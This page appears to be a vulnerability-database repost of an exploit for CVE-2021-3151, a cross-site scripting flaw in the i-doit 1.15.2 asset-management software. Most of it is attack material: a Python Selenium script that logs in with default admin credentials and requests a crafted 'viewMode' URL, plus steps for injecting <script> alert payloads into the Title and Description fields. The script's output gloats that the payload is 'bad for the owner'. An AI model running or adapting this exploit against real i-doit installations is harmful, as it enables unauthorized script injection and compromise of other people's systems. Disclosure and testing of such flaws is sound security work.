Thursday, May 27, 2021

i-doit 1.15.2 Cross Site Scripting

# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from Infrastructure
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.25.2021
# Vendor: https://www.i-doit.org/news/
# Link: https://www.i-doit.org/new-minor-release-i-doit-open-1-15-2/
# From Github:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# CVE: CVE-2021-3151 - NEW
# Proof: https://streamable.com/vofczm

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys


# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")


except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")

## The exploit

## Vulnerable (Infrastructure) section
## Parameter:
viewMode (Infrastructure, Object, Network > local pots = XSS simbol{'})

- URL

http://192.168.1.2/?viewMode=1100&tvMode=1006&tvType=1&objID=26&catgID=41&objTypeID=19&cateID=1&editMode=1

## insert the payload into:

Title: <script>alert("nu11secur1ty_is_here");</script>
Description: <script>alert("nu11secur1ty_is_here");</script>

---------------------------------

# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from
Infrastructure
# Date: 05.25.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://www.i-doit.org/news/
# Software Link:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3151
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore